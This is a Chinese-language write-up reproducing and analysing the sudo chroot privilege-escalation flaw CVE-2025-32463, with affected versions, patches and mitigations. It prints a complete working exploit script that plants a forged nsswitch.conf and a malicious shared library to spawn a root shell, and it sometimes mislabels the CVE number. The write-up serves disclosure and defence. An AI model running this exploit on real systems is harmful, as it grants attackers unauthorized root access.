CVE-2025-32463漏洞复现与分析
漏洞简介Sudo 1.9.14+ 版本存在漏洞:它在切换环境(chroot)后过早解析路径,导致攻击者能通过伪造/etc/nsswitch.conf等文件,诱骗Sudo加载恶意库(如libnss_xxx.so)。无需特殊权限即可获得root权限,危害极大。(核心:路径解析顺序错误 + 恶意库劫持 = 直接提权)漏洞描述该漏洞的严重性被评为“重要”,因为攻击者必须能够访问系统上的有效帐户,并且即使帐
漏洞简介
Sudo 1.9.14+ 版本存在漏洞:它在切换环境(chroot)后过早解析路径,导致攻击者能通过伪造/etc/nsswitch.conf等文件,诱骗Sudo加载恶意库(如libnss_xxx.so)。无需特殊权限即可获得root权限,危害极大。
(核心:路径解析顺序错误 + 恶意库劫持 = 直接提权)
漏洞描述
该漏洞的严重性被评为“重要”,因为攻击者必须能够访问系统上的有效帐户,并且即使帐户未在 sudoers 文件中列出,它也允许本地非特权攻击者提升其权限。
由于受影响的版本范围有限,此漏洞不会影响
快速验证
第一种:版本影响范围在Sudo 1.9.14至1.9.17全系列
换句话说,就是2023年7月20日发布的Sudo 1.9.14,2025年6月30日发布补丁
sudo --version漏洞复现

unbutu环境测试,需要R权限。

当前账号没有R权限,需要在/etc/sudoers 有R权限。
john ALL=(ALL) NOPASSWD: /path/to/woot -R
下载poc并执行
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
./sudo-chwoot.sh

漏洞分析
看poc的编写代码
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
if [ $# -eq 0 ]; then
# If no command is provided, default to an interactive root shell.
CMD="/bin/bash"
else
# Otherwise, use the provided arguments as the command to execute.
CMD="$@"
fi
# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
提权链路
突破1:控制chroot目录,实现临时提权
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf在这里,构建一个伪根目录woot,其中包含篡改的nsswitch.conf文件
将passwd数据库指向不存在的路径/woot1337,sudo没有去鉴别,直接用root权限去解析恶意库
目的:触发恶意库 libnss_xxx.so,实现临时提权
突破2:维持root权限,另开shell
__attribute__((constructor)) void woot(void) {
setreuid(0,0); // 将 *当前进程* 的UID设置为0(root)
setregid(0,0); // 将GID设置为0
execl("/bin/sh", "sh", ...); // 在root上下文启动shell
}
漏洞利用分析:
此漏洞源于 sudo 1.9.14 版本中引入的一项更改。在执行 sudoers 文件之前, chroot 环境中的路径解析就开始发生,这导致攻击者能够插入恶意配置文件 (/etc/nsswitch.conf) 并加载恶意共享库。利用此漏洞,攻击者可以获得直接的 root 权限。
漏洞根源与技术分析
CVE-2025-36463 在 Sudo v1.9.14(2023 年 6 月)中引入,与使用 chroot 功能时命令匹配处理代码的更新有关,相关代码逻辑位于 plugins/sudoers/sudoers.c 文件中的set_cmnd_path函数里。其大致流程为:pivot_root函数进行 chroot,resolve_cmnd函数进行命令的匹配查找路径,最后unpivot_root使 chroot 回到原来的 root path。
漏洞发生在pivot_root和unpivot_root之间,此期间有代码逻辑读取/etc/nsswitch.conf文件并更新nss_database*。通过对nss_database_check_reload_and_get函数的分析可知,在刚进入该函数时,会先判断local->data.reload_disable是否为 True,若为 True 则直接返回,之后判断/etc/nsswitch.conf文件是否修改。由于getgrouplist的调用,调用了nss_database_check_reload_and_get函数,且此时reload_disabled未设置且services[nss_database_initgroups]为空,所以会走到nss_database_reload。

在unpivot_root之后,当调用第一个nss_database_check_reload_and_get时,会将reload_disabled设置成 1 且返回,后续调用就不会再进入nss_database_reload,这解释了为何后续调用不会重新读取/etc/nsswitch.conf。

思考
该漏洞存在巧合之处,如果pivot_root之后,调用到的第一个nss_database_check_reload_and_get的第三个参数database_index不是nss_database_initgroups,且默认nss_database_initgroups初始化为空,就会走到reload_disabled的地方并返回,之后便不会再读取nsswich.conf。经查看,libc 对 nss_database 初始化的上一次更改在五年前,与该 2023 年引入的漏洞关联不大,更多是巧合。
漏洞利用机制
该漏洞利用非常简单:
nsswitch.conf攻击者在受控目录中创建恶意文件。-R使用(chroot) 选项在精心设计的环境中运行 sudo 。- Sudo 首先读取此配置,导致系统加载攻击者提供的库,立即提供 root shell 访问权限。
步骤 1:设置(创建恶意环境)
攻击者准备一个伪目录(woot),其中包含以下内容:
- 一个恶意
nsswitch.conf文件指示系统使用名为 的无效服务/woot1337。 - 一个专门设计
woot1337.so.2用来授予root特权的恶意库()。
步骤 2:恶意库(woot1337.c)
攻击者将一个小型 C 程序编译成恶意共享库:
// Automatically runs when library loads
__attribute__((constructor)) void woot(void) {
setreuid(0,0); // Gain root privileges
setregid(0,0); // Gain root group privileges
chdir("/"); // Move to root directory
execl("/bin/bash", "/bin/bash", NULL); // Open a root shell
}
无论何时加载,这个简短的代码片段都会启动一个根级 bash shell。
步骤3:触发漏洞
然后攻击者运行一个命令:
sudo -R woot wootSudo 尝试加载攻击者控制的配置文件 ( nsswitch.conf),从而强制其加载恶意库。结果,攻击者立即获得了完全权限的 root shell。
影响版本
- 易受攻击:sudo
1.9.14–1.9.17 - 不易受攻击:旧版本(
<1.9.14,不支持 chroot)
覆盖范围
- Ubuntu:在
1.9.16p2-1ubuntu1.1(25.04) 中进行了修补,并在 中进行了等效修补24.10/24.04。 - Debian、Red Hat、SUSE、Amazon Linux 2023:官方补丁发布;建议立即更新。
漏洞修复
立即升级:更新到 sudo1.9.17p1或更高版本。
验证发行补丁:
- Ubuntu:确保版本≥
1.9.16p2-1ubuntu1.1 - SUSE:更新至版本≥
1.9.15p5‑150600.3.9.1 - Amazon Linux 2023:补丁待发布;Amazon Linux 2 不受影响。
缓解措施:
--chroot如果无法立即修补,请暂时在 sudoers 中禁用。- 通过 SELinux/AppArmor 和 SIEM 日志监控活动,发现异常
-R选项使用情况或意外库加载。
REF:
https://bestwing.me/CVE-2025-36463_Sudo_chroot_Elevation_of_Privilege.md.html
https://blog.csdn.net/sinat_28521487/article/details/149154974